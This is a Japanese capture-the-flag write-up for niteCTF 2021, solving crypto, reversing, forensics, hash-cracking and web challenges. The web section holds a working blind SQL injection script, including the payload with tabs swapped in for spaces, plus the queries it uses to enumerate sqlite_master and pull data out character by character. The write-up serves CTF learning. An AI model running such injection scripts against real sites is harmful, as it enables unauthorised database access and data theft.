niteCTF writeup

2021年12月10日~12日で開催された[niteCTF](https://capturetheflag.cryptonite.team/)に[りゅうせいさん](https://github.com/xryuseix)と一緒に参加しました。
結果は1797ptsで、61stでした。

僕が担当したコードは[GitHub](https://github.com/FullteaOfEEIC/niteCTF2021)においておきます。
可読性は皆無なので、何やってるのかわからないところは気軽に訪ねてください。
flag形式は```nite{XXXXXXXX}```です。
#Crypto
##Variablezz (100pts)
enc.pyという名前で以下のコードが渡されます。また、flagがencodeされた結果がciphertext.txtに書かれています。

```enc.py
import random
flag = 'nite{XXXXXXXXXXXXXXXXXXXXXXXX}'
a = random.randint(1,9999999999)
b = random.randint(1,9999999999)
c = random.randint(1,9999999999)
d = random.randint(1,9999999999)
enc = []
for x in flag:
    res = (a*pow(ord(x),3)+b*pow(ord(x),2)+c*ord(x)+d)
    enc.append(res)
print(enc)
```

```ciphertext.txt
Ciphertext = [8194393930139798, 7130326565974613, 9604891888210928, 6348662706560873, 11444688343062563, 7335285885849258, 3791814454530873, 926264016764633, 9604891888210928, 5286663580435343, 5801472714696338, 875157765441840, 926264016764633, 2406927753242613, 5980222734708251, 5286663580435343, 2822500611304865, 5626320567751485, 3660106045179536, 2309834531980460, 12010406743573553]
```

flagを1文字ずつ数値に変換して、```a*pow(ord(x),3)+b*pow(ord(x),2)+c*ord(x)+d```という加工を施します。$a$,$b$,$c$,$d$がrandomなので、どうにかしてこれを知りたいです。
flag formatが```nite{XXXXXXXXXXXXXXXXXXXXXXXX}```ですので、Ciphertextの最初の4つは```nite```をencodeしたもののはずです。これをあてはめると

```math
1331000*a + 12100*b + 110*c + d = 8194393930139798\\
1157625*a + 11025*b + 105*c + d = 7130326565974613\\
1560896*a + 13456*b + 116*c + d = 9604891888210928\\
1030301*a + 10201*b + 101*c + d = 6348662706560873\\
```
と、未知数４つに式4本が立つので、$a$,$b$,$c$,$d$が求まります。
あとは、5文字目以降を総当たりで求めていくだけです。
全体コードは

```solve.py
import numpy as np
from scipy import linalg
import sympy as sp

Ciphertext = [8194393930139798, 7130326565974613, 9604891888210928, 6348662706560873, 11444688343062563, 7335285885849258, 3791814454530873, 926264016764633, 9604891888210928, 5286663580435343, 5801472714696338, 875157765441840, 926264016764633, 2406927753242613, 5980222734708251, 5286663580435343, 2822500611304865, 5626320567751485, 3660106045179536, 2309834531980460, 12010406743573553]

sp.var("a,b,c,d")

eqs = []
for i,x in zip(Ciphertext,"nite"):
    eqs.append(sp.Eq(a*pow(ord(x),3)+b*pow(ord(x),2)+c*ord(x)+d, i))

s = sp.solve(eqs, [a,b,c,d])
sp.init_printing()
a, b, c, d = s[a], s[b], s[c], s[d]
print(a,b,c,d)

for i, x in enumerate("nite"):
    assert (a*pow(ord(x),3)+b*pow(ord(x),2)+c*ord(x)+d)==Ciphertext[i]

for i in Ciphertext:
    for x in range(256):
        if i == a*pow(x,3)+b*pow(x,2)+c*x+d:
            print(chr(x), end="")
print()
```

flagは```nite{jU5t_b45Ic_MaTH}```

##Rabin To The Rescure (371pts)
私が解いたのは$n$を求めて素因数分解するところまで。その先はりゅうせいさんがやってくれました。
RSA暗号らしき暗号化のプログラムが渡されます。(後から教えてもらったのですが、この暗号はrabin暗号と言うそうです)

```rabin_to_the_rescue.py
from Crypto.Util.number import *
from sympy import *
import random

def mixer(num):
    while(num>1):
        if(int(num) & 1):
            num=3*num+1
        else:
            num=num/2
    return num

def gen_sexy_primes():
    p=getPrime(256)
    q=p+6

    while((p%4!=3)or(q%4!=3)):
        p=getPrime(256)
        q=nextprime(p+1)
    return p, q

p, q=gen_sexy_primes()
n=p*q
    

def encrypt(m, e, n):
    return pow(m, e, n)
    
e=int(mixer(q-p))*2

print("________________________________________________________________________________________________")
print("\n\n")
print("-----------------------------------")
print("-----------------------------------")
print("-----------------------------------")
print("               /\\")
print("            __/__\\__")
print("            \\/    \\/")
print("            /\\____/\\")
print("            ``\\  /``  ")
print("               \\/")
print("-----------------------------------")
print("-----------------------------------")
print("-----------------------------------")
print("\n\n")
print("Welcome to the Encryption challenge!!!!")
print("\n")
print("Menu:")
print("=> [E]ncrypt your message")
print("=> [G]et Flag")
print("=> E[x]it")
print("________________________________________________________________________________________________")

while(true):
    choice=input(">>")
    if choice.upper()=='E':
        print("Enter message in hex:")
        try:
            m=bytes_to_long(bytes.fromhex(input()))
        except:
            print("Wrong format")
            exit(0)
        ciphertext=encrypt(m,e,n)
        print("Your Ciphertext is: ")
        print(hex(ciphertext)[2:])
    elif choice.upper()=='G':
        print("Your encrypted flag is:")
        with open('flag.txt','rb') as f:
            flag=bytes_to_long(f.read())
        t=random.randint(2, 2*5)
        for i in range(t):
            ciphertext=encrypt(flag,e,n)
        print(hex(ciphertext)[2:])
    elif choice.upper()=='X':
        print("Exiting...")
        break
    else:
        print("Please enter 'E','G' or 'X'")
```

暗号化のパートでは、

```rabin_to_the_rescure.py

def encrypt(m, e, n):
    return pow(m, e, n)

#中略

print("Your encrypted flag is:")
with open('flag.txt','rb') as f:
    flag=bytes_to_long(f.read())
t=random.randint(2, 2*5)
for i in range(t):
    ciphertext=encrypt(flag,e,n)
print(hex(ciphertext)[2:])
```

という処理がなされています。まずは$e$と$n$が知りたいです。
$e$の生成は

```rabin_to_the_rescure.py
def mixer(num):
    while(num>1):
        if(int(num) & 1):
            num=3*num+1
        else:
            num=num/2
    return num

#中略

e=int(mixer(q-p))*2
```

となっています。複雑そうに見えますが、よく見ると```mixer(num)```は```num```に関わらず1になることがわかります。
したがって、$e=2$です。
次に$n$の生成法を見ると、

```rabin_to_the_secure.py
def gen_sexy_primes():
    p=getPrime(256)
    q=p+6

    while((p%4!=3)or(q%4!=3)):
        p=getPrime(256)
        q=nextprime(p+1)
    return p, q

p, q=gen_sexy_primes()
n=p*q
```

という方法で生成されています。$p$と$q$が近い値になるので、$n$がわかればfermat法で素因数分解ができそうです。
さて、このプログラムは、任意の入力を$n$と$e(=2)$で暗号化してくれる機能が備わっています。具体的には、入力$m$に対して $m^2 \ mod\ n$ を返してくれます。

```rabin_to_the_rescue.py
print("Enter message in hex:")
try:
    m=bytes_to_long(bytes.fromhex(input()))
except:
    print("Wrong format")
    exit(0)
ciphertext=encrypt(m,e,n)
print("Your Ciphertext is: ")
print(hex(ciphertext)[2:])
```
さて、$n$ はそこそこ大きい数です。$m$ が小さいときには $m^2$ もそこそこ小さくなるので、$mod\ n$を取るといっても変化がないハズです。たとえば、$m=2$なら$4$が、$m=6$なら$36$が返ってきます。一方で、$m^2$が十分大きければ$n$で割ったあまりが返ってくるため入力値の2乗と返り値は等しくならないはずです。この限界として、$m$を入力すると$m^2$が返ってくるが、$m+1$を入力しても$(m+1)^2$が返ってこないような$m$を探します。このとき、$(m+1)^2$と返り値の差が$n$です。

```fermat.py
import math

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, ct):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(ct, d, n)
    return hex(pt)[2:-1].decode("hex")

def isqrt(n):
  x = n
  y = (x + n // x) // 2
  while y < x:
    x = y
    y = (x + n // x) // 2
  return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)

    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x+y, x-y
```

```solve.py
from pwn import *
from Crypto.Util.number import *
from fermat import fermat
from sympy.ntheory.modular import crt


io = remote("rabin.challenge.cryptonite.team", 1337)

for i in range(28):#banner
    io.recvline()
io.sendline(b"G")
io.recvline()
encrypted = io.recvline().decode().strip()
print(encrypted)

m = 2**250
M = 2**270


def check(x):
    io.sendline(b"E")
    io.recvline()
    io.sendline(bytes.hex(long_to_bytes(x)))
    io.recvline()
    square = io.recvline()
    square = int(square, 16)
    return square 

assert check(m) == m**2
assert check(M) != M**2

while M-m>1:
    mid = (M+m)//2
    if check(mid)==mid**2:
        m = mid
    else:
        M = mid
    print(M-m)

assert check(m)==m**2
assert check(M)!=M**2

n = M**2 - check(M)
print(n)

p, q = fermat(n)
print("p =", p)
print("q =", q)
c = int(encrypted, 16)
print("c =", c)
```
fermat関数を提供してくれたのはりゅうせいさんで、このあと$p$と$q$と$c$からflagを復元してくれたのもりゅうせいさんです。詳しく聞いていないですが、https://github.com/VladislavChepusov/Rabin-s-cryptosystem/blob/master/Rabin/Rabin/Rabin.py とかを使ったらしいです。

#rev
##baby reversing (100pts)
与えられたbinaryファイルをghidraに叩き込みます。
main関数の中を見ていると、

```
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string
            ((char *)local_d8,(allocator *)"b@by_R3v");
```

という表記が見つかったので、```b@by_R3v```がpasswordっぽいとbinaryに入力します。すると```hahaha this password is only HALF right, have fun finding the other half!```と出力されました。とすると、残り半分もどこかに書かれているだろうとmain関数を引き続き見ていくと

```
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string
            ((char *)local_178,(allocator *)"r3@l_");
```

という表記を見つけました。これっぽい。

ということで、binaryに```r3@l_b@by_R3v```と入力するとflagが表示されます。
flagは```nite{baby_r3v_champ}```

#Forensics
##Qurious Case (356pts)
画像ファイルが渡されます。渡された画像はパット見真っ黒ですが、よく見るとbitが0のところと1のところがあります。見えやすくすると、一部が欠けたQRコードが出現します。
![qr.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/cb7f4c80-4180-69f9-2b8e-b79732d64479.png)
どんなに頑張ってもQRコードリーダーは読み取ってくれなかったので、仕方ないので、[Wikipedia](https://en.wikipedia.org/wiki/QR_code)等を参考に人力でQRコードを読みます。幸いmetadataは全部残っているのでなんとかなりました。もう2度とやりたくないけど。
flagは```nite{tH@T'$_qRazzYyYy}```

#Misc
##Hashes Hashes we all fall down (356pts)
Hash化されたpwを複合する問題です。saltとして```salt```という文字列を使用し、pwとしてbee movieに登場するセリフを使用したと問題文に書かれています。Googleで検索した所、http://www.script-o-rama.com/movie_scripts/a1/bee-movie-script-transcript-seinfeld.html にセリフがすべて書かれていたので、記載されたセリフを総当りで探索します。

```beemovie.py
import hashlib
import requests
from bs4 import BeautifulSoup
import re
from tqdm.auto import tqdm

hash_ = "12f3b9faec781b0e84184a6fa7c44c81416e5b1855633a2a2730295324724efe"

url = "http://www.script-o-rama.com/movie_scripts/a1/bee-movie-script-transcript-seinfeld.html"
page = requests.get(url)
soup = BeautifulSoup(page.content)

text =  soup.find("pre").text
text = text.replace("\n", " ")
text = re.sub("\s+", " ", text)
for word in tqdm(text.split(" ")):
    pw = "salt"+word
    if hashlib.sha256(pw.encode()).hexdigest() == hash_:
        print(word)
```

flagは```niteCTF{Oinnabon}```

#Web
##BATCHEST (244pts)
blind SQL問題です。[昔俺も出題したことあったな...](https://fans.sechack365.com/ctf/writeups/login3/writeup/)
502エラーが出たり、サーバーのレスポンスがアホみたいに遅かったりと問題と関係ないところで色々面倒くさかったです。

```BATCHEST.py
import requests
from tqdm.auto import tqdm
import string

url = 'https://blindsqli-web.chall.cryptonite.team/'

def _execAnyQuery_core(q, pos, mid):
    """
    queryの実行結果のpos文字目がmidかどうかを判定する。
    """
    query = "lion' and substr(({0}),{1},1)=char({2}) ; -- ".format(q, pos, mid)
    
    data = {
      'query': query.replace(" ", "\t"),
      'sub': 'SUBMIT'
    }
    
    
    while True:
        page = requests.post(url, data=data)
        if page.status_code==500:
            print("Warning ! Error 500")
        if page.status_code==200:
            return "Hell yeah" in page.text 


def _execAnyQuery(query, pos):
    for c in string.printable:
        if _execAnyQuery_core(query, pos, ord(c)):
            return ord(c)
    return 0
        
def execAnyQuery(query):
    i = 1
    while True:
        char = int(_execAnyQuery(query, i))
        if char==0:
            return
        print(chr(char), end="")
        i += 1

execAnyQuery("select 'abc'")
#>> abc
```

blind SQLiでDBから情報を抜き出します。
```SELECT 1 from SQLITE_MASTER```を実行すると1が返ってくるので、裏で走っているのはSQLITEです。
```SELECT sql from SQLITE_MASTER limit 1 offset 0```, ```SELECT sql from SQLITE_MASTER limit 1 offset 1``` ...と走らせていくことで、

```
CREATE TABLE "Flag_tbl" (
	"flag_cln"	TEXT NOT NULL UNIQUE,
	PRIMARY KEY("flag_cln")
)
```

というテーブルがあることがわかりました。
あとは、```"SELECT flag_cln from Flag_tbl limit 1 offset 0```を実行してflagを取り出します。
flagは```nite{THIS_IS_WORKING}```

#あとがき
SecHack365の2020年度トレーニー向けのDiscordでりゅうせいさんが1人で解いているのを見て、飛び込みで急遽参加しました。
最近鬱々とした出来事しかなかった中で久しぶりに楽しい時間を過ごしました。りゅうせいさん、そして運営の皆さん本当にありがとうございます。
~~ところでお前SECCONは? TaskCTFは? 修論は??~~